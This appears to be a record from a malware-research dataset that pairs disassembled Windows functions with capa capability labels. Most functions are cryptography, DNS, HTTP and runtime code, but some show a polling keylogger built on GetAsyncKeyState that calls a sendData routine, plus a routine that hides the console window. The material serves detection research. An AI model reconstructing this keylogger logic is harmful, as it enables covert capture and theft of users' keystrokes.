joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140116130
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push rsi
push r12
push r13
push r15
sub rsp, 0x50
mov r15, qword [rsp + 0xa0]
mov rsi, rcx
mov rcx, r15
mov rbp, r9
mov r12, r8
mov r13, rdx
call fcn.14011c8d0
test al, al
je 0x14011617f
mov rax, qword [rsp + 0xa8]
mov dword [rax], 0x51
mov rax, 0xffffffffffffffff
add rsp, 0x50
pop r15
pop r13
pop r12
pop rsi
pop rbp
ret
cmp rbp, qword [rsi + 8]
mov qword [rsp + 0x80], rbx
cmovg rbp, qword [rsi + 8]
xor ebx, ebx
mov qword [rsp + 0x88], rdi
mov edi, ebx
mov qword [rsp + 0x90], r14
test rbp, rbp
je 0x1401161ef
mov r14, qword [rsp + 0xa8]
mov eax, dword [rsi + 0x10]
lea rdx, [rsp + 0x40]
mov r9, r14
mov r8d, 1
movzx ecx, byte [rax + rsi + 0x14]
xor cl, byte [rdi + r12]
mov byte [rsp + 0x40], cl
mov rcx, r15
call fcn.14011d000
test rax, rax
js 0x14011622d
mov eax, dword [rsi + 0x10]
inc rdi
inc eax
and eax, 3
mov dword [rsi + 0x10], eax
cmp rdi, rbp
jb 0x1401161b1
movzx ebp, byte [rsi + 0x18]
lea r9, [0x1401dad30]
sub qword [rsi + 8], rdi
movzx r11d, bpl
and r11b, 0xf
mov rcx, r9
movzx edx, r11b
nop dword [rax]
movsx eax, byte [rcx]
cmp eax, edx
je 0x140116241
inc rbx
add rcx, 0x10
cmp rbx, 6
jb 0x140116210
lea r9, [0x1401890e8]
jmp 0x140116249
cmp dword [r14], 0x51
jne 0x140116238
test rdi, rdi
jne 0x1401161ef
mov rax, 0xffffffffffffffff
jmp 0x1401162a3
add rbx, rbx
mov r9, qword [r9 + rbx*8 + 8]
mov r8, qword [rsi]
lea rdx, [0x14017fc7f]
mov qword [rsp + 0x38], r8
lea rax, str._CONT
mov r10, r8
lea rcx, str._NON_FIN
sub r10, qword [rsi + 8]
lea r8, str.buffered
test bpl, bpl
mov qword [rsp + 0x30], r10
cmovs rcx, rdx
test r11b, r11b
mov qword [rsp + 0x28], rcx
mov rcx, r13
cmove rdx, rax
mov qword [rsp + 0x20], rdx
lea rdx, str.WS_ENC:__s___s_s_s_payload_lld__lld_
call fcn.1400fa510
mov rax, rdi
mov rdi, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x80]
mov r14, qword [rsp + 0x90]
add rsp, 0x50
pop r15
pop r13
pop r12
pop rsi
pop rbp
ret

Function at 0x1401174d0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov ebx, 1
mov edx, ebx
xor ecx, ecx
xor ebp, ebp
call qword [case.0x1400ea28c.0]
mov rdi, rax
test rax, rax
je 0x14011754d
nop word [rax + rax]
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
mov rbp, rdi
mov esi, ebx
call qword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
mov ebx, eax
test eax, eax
je 0x140117578
cmp ebx, esi
je 0x140117578
cmp ebx, 0x8000
ja 0x140117578
cmp ebx, esi
jb 0x140117573
mov edx, ebx
mov rcx, rdi
call qword [case.0x1400ea28c.0]
mov rdi, rax
test rax, rax
jne 0x140117510
mov rcx, rbp
call qword [0x1401da5d8]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rax, rdi
jmp 0x140117558
mov rcx, rdi
jmp 0x140117550
Function at 0x1401175b0
Capabilities:
Resolve dns

Disassembly:
push rdi
push r12
push r13
push r15
sub rsp, 0x28
mov r13, r9
xor edi, edi
mov qword [r9], rdi
xor r15d, r15d
lea r9, [rsp + 0x68]
call qword [sym.imp.ws2_32.dll_getaddrinfo]
mov r12d, eax
test eax, eax
jne 0x14011774e
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x60], rsi
mov rsi, qword [rsp + 0x68]
test rsi, rsi
je 0x14011772e
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x20], r14
nop
mov rax, qword [rsi + 0x18]
test rax, rax
je 0x14011761e
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140117610
inc rbx
jmp 0x140117620
xor ebx, ebx
mov eax, dword [rsi + 4]
cmp eax, 2
jne 0x14011762d
lea ebp, [rax + 0xe]
jmp 0x140117639
cmp eax, 0x17
jne 0x1401176d1
lea ebp, [rax + 5]
cmp qword [rsi + 0x20], 0
je 0x1401176d1
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x1401176d1
cmp rax, rbp
jb 0x1401176d1
lea rcx, [rbp + 0x30]
add rcx, rbx
call qword [0x1401da5d0]
mov r14, rax
test rax, rax
je 0x1401176e0
mov ecx, dword [rsi]
mov r8, rbp
mov dword [rax], ecx
mov ecx, dword [rsi + 4]
mov dword [rax + 4], ecx
mov ecx, dword [rsi + 8]
mov dword [rax + 8], ecx
mov ecx, dword [rsi + 0xc]
mov dword [rax + 0xc], ecx
lea rcx, [r14 + 0x30]
mov dword [rax + 0x10], ebp
xor eax, eax
mov qword [r14 + 0x18], rax
mov qword [r14 + 0x28], rax
mov qword [r14 + 0x20], rcx
mov rdx, qword [rsi + 0x20]
call sub.VCRUNTIME140.dll_memcpy
test rbx, rbx
je 0x1401176be
mov rcx, qword [r14 + 0x20]
mov r8, rbx
add rcx, rbp
mov qword [r14 + 0x18], rcx
mov rdx, qword [rsi + 0x18]
call sub.VCRUNTIME140.dll_memcpy
test rdi, rdi
cmove rdi, r14
test r15, r15
je 0x1401176ce
mov qword [r15 + 0x28], r14
mov r15, r14
mov rsi, qword [rsi + 0x28]
test rsi, rsi
jne 0x140117600
jmp 0x1401176e6
mov r12d, 8
mov rcx, qword [rsp + 0x68]
mov r14, qword [rsp + 0x20]
mov rbp, qword [rsp + 0x58]
test rcx, rcx
je 0x140117700
call qword [sym.imp.ws2_32.dll_freeaddrinfo]
test r12d, r12d
je 0x140117729
test rdi, rdi
je 0x140117725
nop word [rax + rax]
mov rbx, qword [rdi + 0x28]
mov rcx, rdi
call qword [0x1401da5d8]
mov rdi, rbx
test rbx, rbx
jne 0x140117710
xor edi, edi
jmp 0x14011773d
test rdi, rdi
jne 0x14011773d
mov r12d, 0x2af9
mov ecx, r12d
call qword [sym.imp.ws2_32.dll_WSASetLastError]
mov rsi, qword [rsp + 0x60]
mov eax, r12d
mov rbx, qword [rsp + 0x50]
mov qword [r13], rdi
add rsp, 0x28
pop r15
pop r13
pop r12
pop rdi
ret
Function at 0x14011dcf0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
mov r9, rdx
mov r8, rcx
mov qword [rsp + 0x28], rbx
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
test rax, rax
je 0x14011dd27
cmp rax, 0xffffffffffffffff
cmovne rbx, rax
mov rax, rbx
add rsp, 0x30
pop rbx
ret
add rsp, 0x30
pop rbx
ret
Function at 0x140120690
Capabilities:
Check http status code

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rbp, r8
mov rdi, rdx
mov r15, rcx
lea rdx, str.WWW_Authenticate:
mov r8d, 0x11
mov rcx, r9
mov rbx, r9
call fcn.1400e21c0
test eax, eax
je 0x1401206dd
mov r14d, dword [rdi + 0x14c]
cmp r14d, 0x191
je 0x140120706
mov r8d, 0x13
lea rdx, str.Proxy_authenticate:
mov rcx, rbx
call fcn.1400e21c0
test eax, eax
je 0x140120762
mov r14d, dword [rdi + 0x14c]
cmp r14d, 0x197
jne 0x140120762
mov rcx, rbx
call fcn.140106a70
mov rsi, rax
test rax, rax
jne 0x14012071e
lea eax, [rsi + 0x1b]
jmp 0x14012092b
mov r9, rbx
lea r8, str.CONNECT:_fwd_auth_header__s
mov rdx, r15
mov rcx, rdi
call fcn.1400fa560
cmp r14d, 0x197
mov r8, rsi
mov rcx, rdi
sete dl
call fcn.1401081c0
mov rcx, rsi
mov ebx, eax
call qword [0x1401da5d8]
test ebx, ebx
je 0x140120929
mov eax, ebx
jmp 0x14012092b
mov r8d, 0xf
lea rdx, str.Content_Length:
mov rcx, rbx
call fcn.1400e21c0
test eax, eax
je 0x1401207bd
mov r8d, dword [rdi + 0x14c]
lea eax, [r8 - 0xc8]
cmp eax, 0x64
jae 0x1401207a2
lea rdx, str.Ignoring_Content_Length_in_CONNECT__03d_response
mov rcx, rdi
call fcn.1400fa510
jmp 0x140120929
xor edx, edx
lea r9, [rbp + 0xa0]
lea rcx, [rbx + 0xf]
lea r8d, [rdx + 0xa]
call fcn.140113080
jmp 0x140120929
lea r9, str.close
mov qword [rsp + 0x20], 5
mov r8d, 0xb
lea rdx, str.Connection:
mov rcx, rbx
call fcn.1401069a0
test al, al
jne 0x140120922
mov r8d, 0x12
lea rdx, str.Transfer_Encoding:
mov rcx, rbx
call fcn.1400e21c0
test eax, eax
je 0x140120881
mov r8d, dword [rdi + 0x14c]
lea eax, [r8 - 0xc8]
cmp eax, 0x64
jae 0x14012082a
lea rdx, str.Ignoring_Transfer_Encoding_in_CONNECT__03d_response
mov rcx, rdi
call fcn.1400fa510
jmp 0x140120929
lea r9, str.chunked
mov qword [rsp + 0x20], 7
mov r8d, 0x12
lea rdx, str.Transfer_Encoding:
mov rcx, rbx
call fcn.1401069a0
test al, al
je 0x140120929
lea rdx, str.CONNECT_responded_chunked
mov rcx, rdi
call fcn.1400fa510
lea rdx, [rbp + 0x50]
mov byte [rbp + 0xac], 1
mov r8b, 1
mov rcx, rdi
call fcn.140118cb0
jmp 0x140120929
lea r9, str.close
mov qword [rsp + 0x20], 5
mov r8d, 0x11
lea rdx, str.Proxy_Connection:
mov rcx, rbx
call fcn.1401069a0
test al, al
jne 0x140120922
mov r8d, 7
lea rdx, str.HTTP_1.
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x140120929
movzx eax, byte [rbx + 7]
sub al, 0x30
cmp al, 1
ja 0x140120929
cmp byte [rbx + 8], 0x20
jne 0x140120929
movsx ecx, byte [rbx + 9]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x140120929
movsx edx, byte [rbx + 0xa]
lea eax, [rdx - 0x30]
cmp al, 9
ja 0x140120929
movsx r8d, byte [rbx + 0xb]
lea eax, [r8 - 0x30]
cmp al, 9
ja 0x140120929
movzx eax, byte [rbx + 0xc]
sub al, 0x30
cmp al, 9
jbe 0x140120929
lea ecx, [rcx + rcx*4]
lea ecx, [rdx + rcx*2]
lea ecx, [rcx + rcx*4]
lea ecx, [rcx - 0xa68]
lea ecx, [r8 + rcx*2]
mov dword [rdi + 0x14c], ecx
mov dword [rdi + 0x12c4], ecx
jmp 0x140120929
mov byte [rbp + 0xad], 1
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
Function at 0x14012f3b0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push r15
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbp, rcx
mov ecx, dword [rcx + 0x20]
mov rsi, rdx
add rcx, 0x18
mov r15d, r8d
lea r9d, [rax + rax]
add rcx, r9
call qword [0x1401da5d0]
mov rbx, rax
test rax, rax
jne 0x14012f3f3
mov rbx, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop rsi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbp
mov qword [rax + 8], rcx
mov eax, dword [rbp + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rdi
mov qword [rbx + 0x10], rax
lea rdi, [rbp + 8]
mov qword [rsp + 0x50], r14
cmp r15d, dword [rbp + 0x1c]
jbe 0x14012f440
call qword [rbp]
mov rcx, qword [rbx + 8]
mov r8d, r15d
mov rdx, rsi
call qword [rdi]
mov esi, dword [rbp + 0x18]
add rsi, qword [rbx + 0x10]
mov rdx, qword [rbx + 8]
mov rcx, rsi
call qword [rbp + 0x10]
mov r15d, dword [rbp + 0x20]
mov rcx, qword [rbx + 8]
call qword [rbp]
mov rcx, qword [rbx + 0x10]
call qword [rbp]
xor r14d, r14d
test r15, r15
je 0x14012f4a2
mov r14, r15
nop dword [rax]
movzx eax, byte [rsi]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rbx + 8]
call qword [rdi]
movzx eax, byte [rsi]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea rsi, [rsi + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rbx + 0x10]
call qword [rdi]
sub r15, 1
jne 0x14012f460
lea rdi, [rbp + 8]
mov eax, dword [rbp + 0x1c]
cmp r14, rax
jae 0x14012f4e1
nop word [rax + rax]
mov rcx, qword [rbx + 8]
lea rdx, [0x14018efa1]
mov r8d, 1
call qword [rdi]
mov rcx, qword [rbx + 0x10]
lea rdx, [0x14018efa2]
mov r8d, 1
call qword [rdi]
mov eax, dword [rbp + 0x1c]
inc r14
cmp r14, rax
jb 0x14012f4b0
mov r14, qword [rsp + 0x50]
mov rax, rbx
mov rbx, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rsi
pop rbp
ret
Function at 0x14012f6e0
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x1401db4c0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbp, r8
mov dword [rsp + 0x20], 0xf0000040
mov rsi, rdx
mov rdi, rcx
xor r8d, r8d
lea rcx, [rsp + 0x38]
xor edx, edx
mov r9d, 0x18
call qword [sym.imp.advapi32.dll_CryptAcquireContextA]
test eax, eax
jne 0x14012f72c
mov eax, 0x1b
jmp 0x14012f7fe
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.advapi32.dll_CryptCreateHash]
test eax, eax
jne 0x14012f770
mov rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.advapi32.dll_CryptReleaseContext]
mov eax, 2
mov qword [rsp + 0x38], 0
jmp 0x14012f7fe
mov rcx, rbp
call fcn.1400f23b0
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov r8d, eax
mov rdx, rsi
call qword [sym.imp.advapi32.dll_CryptHashData]
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x30]
xor r8d, r8d
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x20], 0
lea edx, [r8 + 2]
call qword [sym.imp.advapi32.dll_CryptGetHashParam]
cmp dword [rsp + 0x30], 0x20
jne 0x14012f7da
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x30]
mov r8, rdi
mov dword [rsp + 0x20], 0
mov edx, 2
call qword [sym.imp.advapi32.dll_CryptGetHashParam]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14012f7ea
call qword [sym.imp.advapi32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14012f7fc
xor edx, edx
call qword [sym.imp.advapi32.dll_CryptReleaseContext]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140146540
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x140146ca4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x140146cee
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140146cee
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140146cee
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140146cee
cmp dword [rcx + 0x84], 0xe
jbe 0x140146cee
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140146cf0
xor al, al
add rsp, 0x28
ret

Function at 0x14014dfc0
Capabilities:
Resolve dns

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov r14, r9
mov rsi, rcx
lea rcx, [rbp - 0x28]
call fcn.1400c9000
mov rdx, qword [rbp - 0x28]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x14014e049
mov rdi, qword [rbp - 0x20]
mov rbx, qword [rbp - 0x18]
xorps xmm0, xmm0
movaps xmmword [rbp - 0x60], xmm0
movaps xmmword [rbp - 0x40], xmm0
movaps xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x58], 1
mov qword [rbp - 8], 0
lea r8, [rbp - 0x60]
lea r9, [rbp - 8]
mov rcx, rdi
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x14014e07c
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov ecx, 1
jmp 0x14014e090
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
test rdx, rdx
je 0x14014e0b0
mov rcx, qword [rbp - 0x20]
mov r8d, 1
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
jmp fcn.1400112a0
mov rcx, qword [r14]
mov rax, qword [rbp - 8]
movzx ecx, word [rcx]
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], cx
xor ecx, ecx
mov qword [rsi + 8], rax
mov qword [rsi], rcx
mov byte [rdi], 0
test rbx, rbx
je 0x14014e0b0
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call fcn.1400112a0
nop
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140007670]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140007680]
mov dword [rax], 1
mov rax, qword [0x140007690]
mov dword [rax], 1
mov rax, qword [0x140007600]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140007660]
mov dword [0x14000a00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140007740]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140007720]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400075b0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x1400076c0]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x1400076d0]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x14000a008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x140007630]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x1400076b0]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x14000a028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x14000a020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x14000a020], rbp
call dbg.__main
mov rax, qword [0x140007640]
mov r8, qword [0x14000a018]
mov ecx, dword [0x14000a028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x14000a020]
call sym.main
mov ecx, dword [0x14000a00c]
mov dword [0x14000a010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x14000a008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x1400076d0]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x1400076f0]
mov rcx, qword [0x1400076e0]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sym._cexit
mov eax, dword [0x14000a010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x140007710]
mov rcx, qword [0x140007700]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop
Function at 0x140001723
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
lea rax, str.Begin_running_keylogger
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x1400075e0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov byte [rbp - 1], 8
jmp 0x140001827
movzx eax, byte [rbp - 1]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
cmp ax, 0x8001
sete al
test al, al
je 0x14000181d
movzx eax, byte [rbp - 1]
mov ecx, eax
call sym.SpecialKeys_int_
xor eax, 1
test al, al
je 0x140001811
lea rax, [rbp - 0x11]
mov qword [rbp - 0x10], rax
nop
nop
movzx eax, byte [rbp - 1]
movsx edx, al
lea rcx, [rbp - 0x11]
lea rax, [rbp - 0x40]
mov r9, rcx
mov r8d, edx
mov edx, 1
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____unsigned_long_long__char__std::allocator_char__const_
lea rax, [rbp - 0x11]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x40]
mov rdx, rax
lea rax, [0x14000a210]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
call sym.sendData__
xor eax, 1
test al, al
jne 0x14000186b
movzx eax, byte [rbp - 1]
add eax, 1
mov byte [rbp - 1], al
cmp byte [rbp - 1], 0xbe
jbe 0x140001770
jmp 0x140001759
nop
add rsp, 0x68
pop rbx
pop rbp
ret
Function at 0x140001c1c
Capabilities:
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov eax, ecx
mov byte [rbp + 0x10], al
movzx eax, byte [rbp + 0x10]
xor eax, 1
test al, al
je 0x140001c8a
mov edx, 0
lea rax, str.ConsoleWindowClass
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, str.Stealth_is_offline.
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x1400075e0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
jmp 0x140001cbc
mov edx, 0
lea rax, str.ConsoleWindowClass
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
nop
add rsp, 0x20
pop rbp
ret

Function at 0x1400028b0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]